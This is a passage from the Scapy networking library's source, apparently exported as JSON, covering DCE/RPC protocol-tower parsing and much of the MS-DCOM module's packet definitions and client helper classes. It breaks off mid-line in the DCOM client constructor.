pkt.protocol_identifier == 0xD,\n        ),\n        ConditionalField(\n            LEShortField(\"version\", 0), lambda pkt: pkt.protocol_identifier == 0xD\n        ),\n        # Other\n        ConditionalField(\n            StrLenField(\"lhs\", \"\", length_from=lambda pkt: pkt.lhs_length - 1),\n            lambda pkt: pkt.protocol_identifier not in [0x0, 0x7, 0xD],\n        ),\n        # --- RHS\n        LEShortField(\n            \"rhs_length\",\n            None,\n        ),\n        MultipleTypeField(\n            [\n                (\n                    # (big-endian)\n                    ShortField(\"rhs\", 0),\n                    lambda pkt: pkt.protocol_identifier in [0x7, 0x8, 0x1F],\n                    \"port\",\n                ),\n                (\n                    # (big-endian)\n                    IPField(\"rhs\", 0),\n                    lambda pkt: pkt.protocol_identifier == 0x9,\n                    \"addr\",\n                ),\n                (\n                    LEShortField(\"rhs\", 5),\n                    lambda pkt: pkt.protocol_identifier in [0xA, 0xB, 0xD],\n                    \"minor version\",\n                ),\n                (\n                    StrLenField(\"rhs\", \"\", length_from=lambda pkt: pkt.rhs_length),\n                    lambda pkt: pkt.protocol_identifier == 0xF,\n                    \"named pipe\",\n                ),\n                (\n                    StrLenField(\"rhs\", \"\", length_from=lambda pkt: pkt.rhs_length),\n                    lambda pkt: pkt.protocol_identifier == 0x11,\n                    \"netbios name\",\n                ),\n            ],\n            StrLenField(\"rhs\", \"\", length_from=lambda pkt: pkt.rhs_length),\n        ),\n    ]\n\n    def default_payload_class(self, _):\n        return conf.padding_layer\n\n\nclass protocol_tower_t(Packet):\n    fields_desc = [\n        FieldLenField(\"count\", None, fmt=\"<H\", count_of=\"floors\"),\n        PacketListField(\n            \"floors\",\n            [prot_and_addr_t()],\n            prot_and_addr_t,\n            count_from=lambda pkt: pkt.count,\n        ),\n    ]\n\n    def _summary(self):\n        if len(self.floors) < 4:\n            raise ValueError(\"Malformed protocol_tower_t (not enough floors)\")\n        if self.floors[0].protocol_identifier != 0xD:\n            raise ValueError(\"Malformed protocol_tower_t (bad floor 1)\")\n        if self.floors[1].protocol_identifier != 0xD:\n            raise ValueError(\"Malformed protocol_tower_t (bad floor 2)\")\n        if self.floors[2].protocol_identifier in [0xA, 0xB]:  # Connection oriented/less\n            endpoint = \"%s:%s\" % (\n                self.floors[3].sprintf(\"%protocol_identifier%\"),\n                \":\".join(\n                    x.rhs.decode() if isinstance(x.rhs, bytes) else str(x.rhs)\n                    for x in self.floors[3:][::-1]\n                ),\n            )\n        elif self.floors[2].protocol_identifier == 0xC:  # NCALRPC\n            endpoint = \"%s:%s\" % (\n                self.floors[2].sprintf(\"%protocol_identifier%\"),\n                self.floors[3].rhs.decode(),\n            )\n        else:\n            raise ValueError(\n                \"Unknown RPC transport: %s\" % self.floors[2].protocol_identifier\n            )\n        return (\n            self.floors[0].sprintf(\"%uuid% (%version%.%r,rhs%)\"),\n            endpoint,\n        )\n\n    def mysummary(self):\n        try:\n            return \"%s %s\" % self._summary()\n        except ValueError as ex:\n            return str(ex)\n"
  },
  {
    "path": "scapy/layers/msrpce/msdcom.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n[MS-DCOM]\n\nhttps://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0\n\"\"\"\n\nimport enum\nimport hashlib\nimport re\nimport socket\nimport uuid\n\nfrom scapy.config import conf\nfrom scapy.error import log_runtime\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    ConditionalField,\n    FieldLenField,\n    FlagsField,\n    LEIntField,\n    LELongField,\n    LEShortEnumField,\n    LEShortField,\n    PacketField,\n    PacketListField,\n    PadField,\n    StrLenField,\n    StrNullFieldUtf16,\n    UUIDEnumField,\n    UUIDField,\n    XShortField,\n    XStrFixedLenField,\n)\nfrom scapy.volatile import RandUUID\n\nfrom scapy.layers.dcerpc import (\n    COM_INTERFACES_NAMES_rev,\n    COM_INTERFACES_NAMES,\n    ComInterface,\n    DCE_C_AUTHN_LEVEL,\n    DCE_RPC_PROTOCOL_IDENTIFIERS,\n    DceRpc5Request,\n    find_com_interface,\n    find_dcerpc_interface,\n    ndr_deserialize1,\n    NDRConfFieldListField,\n    NDRConfPacketListField,\n    NDRConfVarStrNullFieldUtf16,\n    NDRFieldListField,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRIntEnumField,\n    NDRIntField,\n    NDRLongField,\n    NDRPacket,\n    NDRPacketField,\n    NDRSerializeType1PacketField,\n    NDRSerializeType1PacketListField,\n    NDRShortField,\n    NDRSignedIntField,\n    RPC_C_AUTHN,\n    RPC_C_IMP_LEVEL,\n)\nfrom scapy.utils import valid_ip6, valid_ip\nfrom scapy.layers.msrpce.rpcclient import DCERPC_Client, DCERPC_Transport\n\nfrom scapy.layers.msrpce.raw.ms_dcom import (\n    COMVERSION,\n    DUALSTRINGARRAY,\n    GUID,\n    MInterfacePointer,\n    ORPCTHAT,\n    ORPCTHIS,\n    REMINTERFACEREF,\n    RemoteCreateInstance_Request,\n    RemoteCreateInstance_Response,\n    RemoteGetClassObject_Request,\n    RemoteGetClassObject_Response,\n    RemQueryInterface_Request,\n    RemRelease_Request,\n    ResolveOxid2_Request,\n    ServerAlive2_Request,\n    tagCPFLAGS,\n)\n\n# Typing\nfrom typing import (\n    Any,\n    List,\n    Dict,\n    Optional,\n    Tuple,\n)\n\n\ndef _uid_to_bytes(x, ndrendian=\"little\"):\n    if ndrendian == \"little\":\n        return x.bytes_le\n    elif ndrendian == \"big\":\n        return x.bytes\n    else:\n        raise ValueError(\"bad ndrendian\")\n\n\ndef _uid_from_bytes(x, ndrendian=\"little\"):\n    if ndrendian == \"little\":\n        return uuid.UUID(bytes_le=x)\n    elif ndrendian == \"big\":\n        return uuid.UUID(bytes=x)\n    else:\n        raise ValueError(\"bad ndrendian\")\n\n\n# [MS-DCOM] sect 1.9\n\nCLSID_ActivationContextInfo = uuid.UUID(\"000001a5-0000-0000-c000-000000000046\")\nCLSID_ActivationPropertiesIn = uuid.UUID(\"00000338-0000-0000-c000-000000000046\")\nCLSID_ActivationPropertiesOut = uuid.UUID(\"00000339-0000-0000-c000-000000000046\")\nCLSID_CONTEXT_EXTENSION = uuid.UUID(\"00000334-0000-0000-c000-000000000046\")\nCLSID_ContextMarshaler = uuid.UUID(\"0000033b-0000-0000-c000-000000000046\")\nCLSID_ERROR_EXTENSION = uuid.UUID(\"0000031c-0000-0000-c000-000000000046\")\nCLSID_ErrorObject = uuid.UUID(\"0000031b-0000-0000-c000-000000000046\")\nCLSID_InstanceInfo = uuid.UUID(\"000001ad-0000-0000-c000-000000000046\")\nCLSID_InstantiationInfo = uuid.UUID(\"000001ab-0000-0000-c000-000000000046\")\nCLSID_PropsOutInfo = uuid.UUID(\"00000339-0000-0000-c000-000000000046\")\nCLSID_ScmReplyInfo = uuid.UUID(\"000001b6-0000-0000-c000-000000000046\")\nCLSID_ScmRequestInfo = uuid.UUID(\"000001aa-0000-0000-c000-000000000046\")\nCLSID_SecurityInfo = uuid.UUID(\"000001a6-0000-0000-c000-000000000046\")\nCLSID_ServerLocationInfo = uuid.UUID(\"000001a4-0000-0000-c000-000000000046\")\nCLSID_SpecialSystemProperties = uuid.UUID(\"000001b9-0000-0000-c000-000000000046\")\n\n# Some special non-interfaces UUIDs:\n\nIID_IActivationPropertiesIn = uuid.UUID(\"000001A2-0000-0000-C000-000000000046\")\nIID_IActivationPropertiesOut = uuid.UUID(\"000001A3-0000-0000-C000-000000000046\")\nIID_IContext = uuid.UUID(\"000001c0-0000-0000-C000-000000000046\")\n\n# [MS-DCOM] 2.2.22.2.1\n\n\nclass ACTVFLAGS(enum.IntEnum):\n    DISABLE_AAA = 0x00000002\n    ACTIVATE_32_BIT_SERVER = 0x00000004\n    ACTIVATE_64_BIT_SERVER = 0x00000008\n    NO_FAILURE_LOG = 0x00000020\n\n\nclass InstantiationInfoData(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"classId\", GUID(), GUID),\n        NDRIntField(\"classCtx\", 0),\n        NDRIntField(\"actvflags\", 0),\n        NDRSignedIntField(\"fIsSurrogate\", 0),\n        NDRIntField(\"cIID\", None, size_of=\"pIID\"),\n        NDRIntField(\"instFlag\", 0),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"pIID\", [GUID()], GUID, count_from=lambda pkt: pkt.cIID\n            ),\n        ),\n        NDRIntField(\"thisSize\", 0),\n        NDRPacketField(\n            \"clientCOMVersion\",\n            COMVERSION(),\n            COMVERSION,\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.22.2.2\n\n\nclass SpecialPropertiesData(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRIntField(\"dwSessionId\", 0xFFFFFFFF),\n        NDRSignedIntField(\"fRemoteThisSessionId\", 0),\n        NDRSignedIntField(\"fClientImpersonating\", 0),\n        NDRSignedIntField(\"fPartitionIDPresent\", 0),\n        NDRIntField(\n            \"dwDefaultAuthnLvl\", DCE_C_AUTHN_LEVEL.PKT_INTEGRITY\n        ),  # Same than Windows\n        NDRPacketField(\"guidPartition\", GUID(), GUID),\n        NDRIntField(\"dwPRTFlags\", 0),\n        NDRIntField(\"dwOrigClsctx\", 0),\n        NDRIntEnumField(\n            \"dwFlags\",\n            0,\n            {\n                0x00000001: \"SPD_FLAG_USE_CONSOLE_SESSION\",\n            },\n        ),\n        NDRIntField(\"Reserved1\", 0),\n        NDRLongField(\"Reserved2\", 0),\n        NDRFieldListField(\n            \"Reserved3\", [0, 0, 0, 0, 0], NDRIntField(\"\", 0), count_from=lambda _: 5\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.22.2.3\n\n\nclass InstanceInfoData(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"fileName\", \"\")),\n        NDRIntField(\"mode\", 0),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"ifdROT\", MInterfacePointer(), MInterfacePointer),\n        ),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"ifdStg\", MInterfacePointer(), MInterfacePointer),\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.22.2.4\n\n\nclass customREMOTE_REQUEST_SCM_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"ClientImpLevel\", 2),  # note <33>\n        NDRShortField(\"cRequestedProtseqs\", None, size_of=\"pRequestedProtseqs\"),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"pRequestedProtseqs\",\n                [],\n                NDRShortField(\"\", 0),\n                size_is=lambda pkt: pkt.cRequestedProtseqs,\n            ),\n        ),\n    ]\n\n\nclass ScmRequestInfoData(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRIntField(\"pdwReserved\", 0)),\n        NDRFullEmbPointerField(\n            NDRPacketField(\n                \"remoteRequest\",\n                customREMOTE_REQUEST_SCM_INFO(),\n                customREMOTE_REQUEST_SCM_INFO,\n            ),\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.22.2.5\n\n\nclass ActivationContextInfoData(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRSignedIntField(\"clientOK\", 0),\n        NDRSignedIntField(\"bReserved1\", 0),\n        NDRIntField(\"dwReserved1\", 0),\n        NDRIntField(\"dwReserved2\", 0),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"pIFDClientCtx\", MInterfacePointer(), MInterfacePointer),\n        ),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"pIFDPrototypeCtx\", MInterfacePointer(), MInterfacePointer),\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.22.2.6\n\n\nclass LocationInfoData(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"machineName\", None),\n        ),\n        NDRIntField(\"processId\", 0),\n        NDRIntField(\"apartmentId\", 0),\n        NDRIntField(\"contextId\", 0),\n    ]\n\n\n# [MS-DCOM] 2.2.22.2.7\n\n\nclass COSERVERINFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"dwReserved1\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"pwszName\", \"\")),\n        NDRFullEmbPointerField(NDRIntField(\"pdwReserved\", 0)),\n        NDRIntField(\"dwReserved2\", 0),\n    ]\n\n\nclass SecurityInfoData(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"dwAuthnFlags\", 0),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"pServerInfo\", COSERVERINFO(), COSERVERINFO),\n        ),\n        NDRFullPointerField(NDRIntField(\"pdwReserved\", None)),\n    ]\n\n\nclass customREMOTE_REPLY_SCM_INFO(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRLongField(\"Oxid\", 0),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"pdsaOxidBindings\", DUALSTRINGARRAY(), DUALSTRINGARRAY),\n        ),\n        NDRPacketField(\"ipidRemUnknown\", GUID(), GUID),\n        NDRIntField(\"authnHint\", 0),\n        NDRPacketField(\"serverVersion\", COMVERSION(), COMVERSION),\n    ]\n\n\nclass ScmReplyInfoData(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRIntField(\"pdwReserved\", 0)),\n        NDRFullEmbPointerField(\n            NDRPacketField(\n                \"remoteReply\",\n                customREMOTE_REPLY_SCM_INFO(),\n                customREMOTE_REPLY_SCM_INFO,\n            ),\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.22.2.9\n\n\nclass PropsOutInfo(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"cIfs\", None, size_of=\"ppIntfData\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\"piid\", [], GUID, size_is=lambda pkt: pkt.cIfs)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"phresults\",\n                [],\n                NDRSignedIntField(\"phresults\", 0),\n                size_is=lambda pkt: pkt.cIfs,\n            )\n        ),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ppIntfData\",\n                [],\n                MInterfacePointer,\n                size_is=lambda pkt: pkt.cIfs,\n                ptr_lvl=1,\n            )\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.22.1\n\n\nclass CustomHeader(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"totalSize\", 0),\n        NDRIntField(\"headerSize\", 0),\n        NDRIntField(\"dwReserved\", 0),\n        NDRIntEnumField(\"destCtx\", 2, {2: \"MSHCTX_DIFFERENTMACHINE\"}),\n        NDRIntField(\"cIfs\", None, size_of=\"pSizes\"),\n        NDRPacketField(\"classInfoClsid\", GUID(), GUID),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"pclsid\", [GUID()], GUID, count_from=lambda pkt: pkt.cIfs\n            ),\n        ),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"pSizes\", None, NDRIntField(\"\", 0), count_from=lambda pkt: pkt.cIfs\n            ),\n        ),\n        NDRFullEmbPointerField(NDRIntField(\"pdwReserved\", None)),\n    ]\n\n\nclass _ActivationPropertiesField(NDRSerializeType1PacketListField):\n    def __init__(self, *args, **kwargs):\n        kwargs[\"next_cls_cb\"] = self._get_cls_activation\n        super(_ActivationPropertiesField, self).__init__(*args, **kwargs)\n\n    def _get_cls_activation(self, pkt, lst, cur, remain):\n        # Get all the pcslsid\n        pclsid = pkt.CustomHeader[CustomHeader].valueof(\"pclsid\")\n        ndrendian = pkt.CustomHeader[CustomHeader].ndrendian\n        i = len(lst) + int(bool(cur))\n        if i >= len(pclsid):\n            return\n        # Get the next pclsid we need to process\n        next_uid = _uid_from_bytes(bytes(pclsid[i]), ndrendian=ndrendian)\n        # [MS-DCOM] 1.9\n        cls = {\n            CLSID_ActivationContextInfo: ActivationContextInfoData,\n            CLSID_InstanceInfo: InstanceInfoData,\n            CLSID_InstantiationInfo: InstantiationInfoData,\n            CLSID_PropsOutInfo: PropsOutInfo,\n            CLSID_ScmReplyInfo: ScmReplyInfoData,\n            CLSID_ScmRequestInfo: ScmRequestInfoData,\n            CLSID_SecurityInfo: SecurityInfoData,\n            CLSID_ServerLocationInfo: LocationInfoData,\n            CLSID_SpecialSystemProperties: SpecialPropertiesData,\n        }[next_uid]\n        return lambda x: ndr_deserialize1(x, cls)\n\n\nclass ActivationPropertiesBlob(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"dwSize\",\n            None,\n            fmt=\"<I\",\n            length_of=\"CustomHeader\",\n            adjust=lambda pkt, x: x\n            + pkt.get_field(\"Property\").i2len(pkt, pkt.Property),\n        ),\n        LEIntField(\"dwReserved\", 0),\n        NDRSerializeType1PacketField(\"CustomHeader\", CustomHeader(), CustomHeader),\n        _ActivationPropertiesField(\"Property\", []),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-DCOM] 2.2.18\n\n\nclass OBJREF(Packet):\n    fields_desc = [\n        XStrFixedLenField(\"signature\", b\"MEOW\", length=4),  # :3\n        LEIntField(\"flags\", 0x04),\n        UUIDEnumField(\n            \"iid\",\n            IID_IActivationPropertiesIn,\n            (\n                COM_INTERFACES_NAMES.get,\n                lambda x: COM_INTERFACES_NAMES_rev.get(x.lower()),\n            ),\n            uuid_fmt=UUIDField.FORMAT_LE,\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.18.2\n\n\nclass STDOBJREF(Packet):\n    fields_desc = [\n        FlagsField(\n            \"flags\",\n            0,\n            -32,\n            {\n                0x00001000: \"SORF_NOPING\",\n            },\n        ),\n        LEIntField(\"cPublicRefs\", 0),\n        LELongField(\"oxid\", 0),\n        LELongField(\"oid\", 0),\n        UUIDField(\"ipid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-DCOM] 2.2.18.4\n\n\nclass OBJREF_STANDARD(Packet):\n    fields_desc = [\n        PacketField(\"std\", STDOBJREF(), STDOBJREF),\n        PacketField(\"saResAddr\", DUALSTRINGARRAY(), DUALSTRINGARRAY),\n    ]\n\n\nbind_layers(OBJREF, OBJREF_STANDARD, flags=1)\n\n\n# [MS-DCOM] 2.2.18.5\n\n\nclass OBJREF_HANDLER(Packet):\n    fields_desc = [\n        PacketField(\"std\", STDOBJREF(), STDOBJREF),\n        UUIDField(\"clsid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        PacketField(\"saResAddr\", DUALSTRINGARRAY(), DUALSTRINGARRAY),\n    ]\n\n\nbind_layers(OBJREF, OBJREF_HANDLER, flags=2)\n\n# [MS-DCOM] 2.2.18.6\n\n\nclass _pObjectDataField(PacketField):\n    def m2i(self, pkt, s):\n        if pkt.clsid in [CLSID_ActivationPropertiesIn, CLSID_ActivationPropertiesOut]:\n            return ActivationPropertiesBlob(s, _parent=pkt)\n        elif pkt.clsid == CLSID_ContextMarshaler:\n            return Context(s, _parent=pkt)\n        return conf.raw_layer(s, _parent=pkt)\n\n\nclass OBJREF_CUSTOM(Packet):\n    fields_desc = [\n        UUIDField(\"clsid\", CLSID_ActivationPropertiesIn, uuid_fmt=UUIDField.FORMAT_LE),\n        LEIntField(\"cbExtension\", 0),\n        # The following field is called \"reserved\" in the spec, but is the size\n        # in practice :P\n        FieldLenField(\n            \"reserved\",\n            None,\n            length_of=\"pObjectData\",\n            adjust=lambda _, x: x + 8,\n            fmt=\"<I\",\n        ),\n        _pObjectDataField(\"pObjectData\", ActivationPropertiesBlob(), None),\n    ]\n\n\nbind_layers(OBJREF, OBJREF_CUSTOM, flags=4)\n\n# [MS-DCOM] 2.2.18.8\n\n\nclass DATAELEMENT(Packet):\n    fields_desc = [\n        UUIDField(\"dataID\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        FieldLenField(\"cbSize\", None, fmt=\"<I\", length_of=\"Data\"),\n        FieldLenField(\n            \"cbRounded\",\n            None,\n            fmt=\"<I\",\n            length_of=\"Data\",\n            adjust=lambda _, x: x + (-x % 8),\n        ),\n        PadField(\n            StrLenField(\"Data\", b\"\", length_from=lambda pkt: pkt.cbSize),\n            align=8,\n        ),\n    ]\n\n\n# [MS-DCOM] 2.2.18.7\n\n\nclass OBJREF_EXTENDED(Packet):\n    fields_desc = [\n        PacketField(\"std\", STDOBJREF(), STDOBJREF),\n        LEIntField(\"Signature1\", 0x4E535956),\n        PacketField(\"saResAddr\", DUALSTRINGARRAY(), DUALSTRINGARRAY),\n        LEIntField(\"nElms\", 1),\n        LEIntField(\"Signature2\", 0x4E535956),\n        # Doc says the array length is always 1\n        PacketField(\"ElmArray\", DATAELEMENT(), DATAELEMENT),\n    ]\n\n\nbind_layers(OBJREF, OBJREF_EXTENDED, flags=8)\n\n\n# [MS-DCOM] 2.2.19.3\n\n\nclass STRINGBINDING(Packet):\n    fields_desc = [\n        LEShortEnumField(\"wTowerId\", 0, DCE_RPC_PROTOCOL_IDENTIFIERS),\n        StrNullFieldUtf16(\"aNetworkAddr\", \"\"),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-DCOM] 2.2.19.4\n\n\nclass SECURITYBINDING(Packet):\n    fields_desc = [\n        LEShortEnumField(\"wAuthnSvc\", 0, RPC_C_AUTHN),\n        ConditionalField(XShortField(\"Reserved\", 0xFFFF), lambda pkt: pkt.wAuthnSvc),\n        ConditionalField(\n            StrNullFieldUtf16(\"aPrincName\", \"\"), lambda pkt: pkt.wAuthnSvc\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-DCOM] 2.2.20\n\n\nclass PROPMARSHALHEADER(Packet):\n    fields_desc = [\n        UUIDField(\"clsid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        UUIDField(\"policyId\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        FlagsField(\"flags\", 0, -32, tagCPFLAGS),\n        FieldLenField(\"cb\", None, length_of=\"ctxProperty\"),\n        StrLenField(\"ctxProperty\", b\"\", length_from=lambda pkt: pkt.cb),\n    ]\n\n\nclass Context(Packet):\n    fields_desc = [\n        LEShortField(\"MajorVersion\", 0x0001),\n        LEShortField(\"MinVersion\", 0x0001),\n        UUIDField(\"ContextId\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000002: \"CTXMSHLFLAGS_BYVAL\",\n            },\n        ),\n        LEIntField(\"Reserved\", 0),\n        LEIntField(\"dwNumExtents\", 0),\n        LEIntField(\"cbExtents\", 0),\n        LEIntField(\"MshlFlags\", 0),\n        FieldLenField(\"Count\", None, fmt=\"<I\", count_of=\"PropMarshalHeader\"),\n        LEIntField(\"Frozen\", 0x00000001),\n        PacketListField(\n            \"PropMarshalHeader\", [], PROPMARSHALHEADER, count_from=lambda pkt: pkt.Count\n        ),\n    ]\n\n\n# -- DCOM Client and utils --\n\n# Utils\n\n\ndef _ParseStringArray(\n    dual: DUALSTRINGARRAY,\n) -> Tuple[List[STRINGBINDING], List[SECURITYBINDING]]:\n    \"\"\"\n    Process aStringArray in a DUALSTRINGARRAY to extract string bindings and\n    security bindings.\n    \"\"\"\n    str_fld = PacketListField(\"\", [], STRINGBINDING)\n    sec_fld = PacketListField(\"\", [], SECURITYBINDING)\n    string = str_fld.getfield(dual, dual.aStringArray[: dual.wSecurityOffset * 2])[1]\n    secs = sec_fld.getfield(dual, dual.aStringArray[dual.wSecurityOffset * 2 :])[1]\n    if string[-1].wTowerId != 0 or secs[-1].wAuthnSvc != 0:\n        raise ValueError(\"Invalid DUALSTRINGARRAY !\")\n    return string[:-1], secs[:-1]\n\n\ndef _HashStringBinding(strings: List[STRINGBINDING]):\n    \"\"\"\n    Hash a STRINGBINDING list\n    \"\"\"\n    return hashlib.sha256(b\"\".join(bytes(x) for x in strings)).digest()\n\n\n# Entries.\n\n\nclass IPID_Entry:\n    \"\"\"\n    An entry in the IPID table\n    [MS-DCOM] 3.1.1.1 Abstract Data Model\n    \"\"\"\n\n    def __init__(self):\n        self.ipid: Optional[uuid.UUID] = None\n        self.iid: Optional[uuid.UUID] = None\n        self.oid: Optional[int] = None\n        self.oxid: Optional[int] = None\n        self.cPublicRefs: int = 0\n        self.cPrivateRefs: int = 0\n        self.state: Any = None\n        # Additions\n        self.iface: Optional[ComInterface] = None\n\n\nclass OID_Entry:\n    \"\"\"\n    An entry in the OID table\n    [MS-DCOM] 3.1.1.1 Abstract Data Model\n    \"\"\"\n\n    def __init__(self):\n        self.oid: Optional[int] = None\n        self.oxid: Optional[int] = None\n        self.ipids: List[uuid.UUID] = []\n        self.hash: Optional[bytes] = None\n        self.last_orpc: int = None\n        self.garbage_collection: bool = True\n        self.state = None\n\n\nclass Resolver_Entry:\n    \"\"\"\n    An entry in the Resolver table.\n    [MS-DCOM] 3.2.1 Abstract Data Model\n    \"\"\"\n\n    def __init__(self):\n        self.hash: Optional[bytes] = None\n        self.binds: List[STRINGBINDING] = []\n        self.secs: List[SECURITYBINDING] = []\n        self.setid: Optional[int] = None\n        self.client: Optional[DCERPC_Client] = None\n\n\nclass SETID_Entry:\n    \"\"\"\n    An entry in the SETID table.\n    [MS-DCOM] 3.2.1 Abstract Data Model\n    \"\"\"\n\n    def __init__(self):\n        self.setid: Optional[int] = None\n        self.oids: List[int] = []\n        self.seq: Optional[int] = None\n\n\nclass OXID_Entry:\n    \"\"\"\n    An entry in the OXID table.\n    [MS-DCOM] 3.2.1 Abstract Data Model\n    \"\"\"\n\n    def __init__(self):\n        self.oxid: Optional[int] = None\n        self.bindingInfo: Optional[Tuple[str, int]] = None\n        self.target_name: str = None\n        self.authnHint: DCE_C_AUTHN_LEVEL = DCE_C_AUTHN_LEVEL.CONNECT\n        self.version: Optional[COMVERSION] = None\n        self.ipid_IRemUnknown: Optional[uuid.UUID] = None\n\n    def __repr__(self):\n        return f\"<OXID_Entry {hex(self.oxid)}>\"\n\n\nclass ObjectInstance:\n    \"\"\"\n    An reference to an instantiated object.\n\n    This is a helper to manipulate this object and perform calls over it.\n    \"\"\"\n\n    def __init__(self, client: \"DCOM_Client\", oid: int):\n        self.client = client\n        self.oid = oid\n\n    def __repr__(self):\n        return f\"<ObjectInstance {self.oid}>\"\n\n    @property\n    def valid(self):\n        \"\"\"\n        Returns whether the current object still exists\n        \"\"\"\n        return self.oid in self.client.OID_table\n\n    @property\n    def ndr64(self):\n        \"\"\"\n        Whether NDR64 is required to talk to this object\n        \"\"\"\n        return self.client.ndr64\n\n    def sr1_req(\n        self,\n        pkt: NDRPacket,\n        iface: ComInterface,\n        ssp=None,\n        auth_level=None,\n        impersonation_type=None,\n        timeout=None,\n        **kwargs,\n    ):\n        \"\"\"\n        Make an ORPC call on this object instance.\n\n        :param iface: the ComInterface to call.\n        :param pkt: the request to make.\n\n        :param ssp: (optional) non default SSP to use to connect to the object exporter\n        :param auth_level: (optional) non default authn level to use\n        :param impersonation_type: (optional) non default impersonation type to use\n        :param timeout: (optional) timeout for the connection\n        \"\"\"\n        # Look for this object's entry\n        try:\n            oid_entry = self.client.OID_table[self.oid]\n        except KeyError:\n            raise ValueError(\"This object has been released.\")\n\n        # Look for the ipid matching the interface required by the user\n        ipid = None\n        for ipid in oid_entry.ipids:\n            ipid_entry = self.client.IPID_table[ipid]\n            if ipid_entry.iid == iface.uuid:\n                break\n        else:\n            # Acquire interface on the object\n            self.client.AcquireInterface(\n                ipid=oid_entry.ipids[0],\n                iids=[\n                    iface,\n                ],\n                cPublicRefs=1,\n            )\n\n        return self.client.sr1_orpc_req(\n            ipid=ipid,\n            pkt=pkt,\n            ssp=ssp,\n            auth_level=auth_level,\n            impersonation_type=impersonation_type,\n            timeout=timeout,\n            **kwargs,\n        )\n\n    def release(self):\n        \"\"\"\n        Call IRemUnknown2::RemRelease to release counts on an object reference.\n        \"\"\"\n        for ipid in self.client.OID_table[self.oid].ipids:\n            self.client.RemRelease(ipid)\n\n\nclass DCOM_Client(DCERPC_Client):\n    \"\"\"\n    A wrapper of DCERPC_Client that adds functions to use COM interfaces.\n\n    :param cid: the client identifier\n    \"\"\"\n\n    IREMUNKNOWN = find_com_interface(\"IRemUnknown2\")\n\n    def __init__(self, cid: GUID = None, verb=True, **kwargs):\n        # Pick a random cid to identify this client\n        self.cid = cid or GUID(RandUUID().bytes_le)\n\n        # The OXID table kept up-to-date by the client\n        self.OXID_table: Dict[int, OXID_Entry] = {}\n\n        # The IPID table kept up-to-date by the client\n        self.IPID_table: Dict[int, IPID_Entry] = {}\n\n        # The OID table kept up-to-date by the client\n        self.OID_table: Dict[int, OID_Entry] = {}\n\n        # The Resolver table kept up-to-date by the client\n        self.Resolver_table: Dict[STRINGBINDING, Resolver_Entry] = {}\n\n        # DCOM defaults to at least PKT_INTEGRITY\n        if \"auth_level\" not in kwargs and \"ssp\" in kwargs:\n            kwargs[\"auth_level\"] = DCE_C_AUTHN_LEVEL.PKT_INTEGRITY\n\n        # DCOM_Client handles the activations.\n        # [MS-RPCE] sect 3.2.4.1.1.2 : \"it MUST specify a default impersonation\n        # level of at leastRPC_C_IMPL_LEVEL_IMPERSONATE\"\n        if \"impersonation_type\" not in kwargs and \"ssp\" in kwargs:\n            